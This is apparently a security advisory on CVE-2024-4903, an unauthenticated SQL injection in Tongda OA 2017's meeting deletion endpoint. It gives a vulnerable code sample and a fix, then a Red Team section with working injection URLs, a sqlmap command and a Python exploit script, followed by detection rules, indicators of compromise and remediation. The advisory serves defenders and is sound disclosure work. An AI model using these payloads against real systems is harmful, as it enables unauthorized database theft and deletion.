CVE-2024-4903

Executive Summary

CVE-2024-4903 is a critical SQL injection vulnerability in Tongda OA 2017, specifically within the /general/meeting/manage/delete.php file. The vulnerability allows an unauthenticated remote attacker to manipulate the M_ID_STR parameter, leading to arbitrary SQL query execution. This can result in full database compromise, including extraction of sensitive data, authentication bypass, and potential lateral movement within the network. The vendor has not responded to disclosure, and no official patch exists. Public exploit code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (Tongda OA 2017) and does not involve package manager dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability resides in the delete.php script within the meeting management module. The M_ID_STR parameter is directly concatenated into a SQL DELETE query without proper sanitization or parameterization. An attacker can inject SQL commands by providing crafted input, such as:

1' OR '1'='1

This can be used to delete arbitrary records, extract data via UNION-based injection, or perform blind SQL injection to enumerate the database.

Root Cause: Lack of input validation and failure to use prepared statements. The application directly interpolates user input into SQL queries.

Attack Flow:

1. Attacker sends a POST/GET request to /general/meeting/manage/delete.php with a malicious M_ID_STR parameter.
2. The server constructs a SQL query like: DELETE FROM meeting WHERE id = '$M_ID_STR'
3. The injected SQL is executed, allowing the attacker to manipulate the query.

Vulnerable vs. Patched Code

Vulnerable Code (Tongda OA 2017):

<?php
$M_ID_STR = $_REQUEST['M_ID_STR'];
$sql = "DELETE FROM meeting WHERE id = '$M_ID_STR'";
$conn->query($sql);
?>

Patched Code (Hypothetical):

<?php
$M_ID_STR = $_REQUEST['M_ID_STR'];
$stmt = $conn->prepare("DELETE FROM meeting WHERE id = ?");
$stmt->bind_param("s", $M_ID_STR);
$stmt->execute();
?>

Key Differences:

• The vulnerable code uses string interpolation, allowing injection.
• The patched code uses prepared statements with parameterized queries, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Tongda OA 2017 with the meeting module enabled.
• Network access to the /general/meeting/manage/delete.php endpoint.

Exploit Steps:

1. Identify the endpoint: Use a web scanner or manual inspection to confirm the presence of delete.php.
2. Craft payload: Use a SQL injection payload to extract data. Example for time-based blind injection:

   http://target/general/meeting/manage/delete.php?M_ID_STR=1' AND SLEEP(5)--
   

3. Extract data: Use UNION-based injection to retrieve database contents:

   http://target/general/meeting/manage/delete.php?M_ID_STR=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
   

4. Automate: Use SQLMap for automated exploitation:

   sqlmap -u "http://target/general/meeting/manage/delete.php?M_ID_STR=1" --batch --dbs
   

Example Exploit Code (Python):

import requests

target = "http://target/general/meeting/manage/delete.php"
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- "
params = {'M_ID_STR': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor logs: Look for requests to /general/meeting/manage/delete.php with unusual parameters (e.g., containing SQL keywords like UNION, SELECT, SLEEP).
2. Network traffic: Inspect for patterns of SQL injection attempts, such as repeated requests with varying M_ID_STR values.
3. Honeypot: Deploy a decoy endpoint to capture exploitation attempts.

Mitigation:

• Apply a WAF rule to block SQL injection patterns.
• Restrict access to the vulnerable endpoint via IP whitelisting or VPN.
• If possible, disable the meeting module until a patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /general/meeting/manage/delete.php with M_ID_STR containing SQL keywords.
• Unusual response times (indicating time-based injection).
• Outbound database connections from the web server to unknown IPs.

File IOCs:

• Modified or deleted records in the meeting table.
• Presence of webshells or backdoors in the web root.

Log IOCs:

• Web server logs showing DELETE FROM meeting queries with injected SQL.
• Database logs showing unexpected queries or errors.

Detection Engineering

YARA Rule

rule CVE_2024_4903_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Tongda OA 2017 delete.php"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-4903"
    strings:
        $s1 = "/general/meeting/manage/delete.php" nocase
        $s2 = "M_ID_STR" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "SLEEP" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-4903 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Tongda OA 2017 delete.php
author: Valters IT
date: 2024-10-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/general/meeting/manage/delete.php"
        cs-uri-query|contains: "M_ID_STR"
    keywords:
        - "UNION"
        - "SELECT"
        - "SLEEP"
        - "OR '1'='1"
    condition: selection and keywords
falsepositives:
    - Legitimate use of meeting deletion with normal IDs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4903 SQL Injection Attempt"; flow:to_server,established; content:"/general/meeting/manage/delete.php"; http_uri; content:"M_ID_STR"; http_uri; pcre:"/(UNION|SELECT|SLEEP|OR\s+'1'='1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: If possible, disconnect the affected server from the network until a patch is applied.
2. Apply WAF rules: Block requests containing SQL injection patterns to the vulnerable endpoint.
3. Restrict access: Use firewall rules to limit access to the OA system to trusted IPs only.

Long-term Fix:

• Vendor patch: Since no patch is available, consider migrating to a supported version of Tongda OA or implementing a custom fix by rewriting the vulnerable code to use prepared statements.
• Code review: Conduct a full security audit of the application to identify similar vulnerabilities.
• Web application firewall: Deploy a WAF with SQL injection prevention capabilities.

Workaround:

• Disable the meeting management module if not essential.
• Implement input validation to allow only numeric values for M_ID_STR.

Valters IT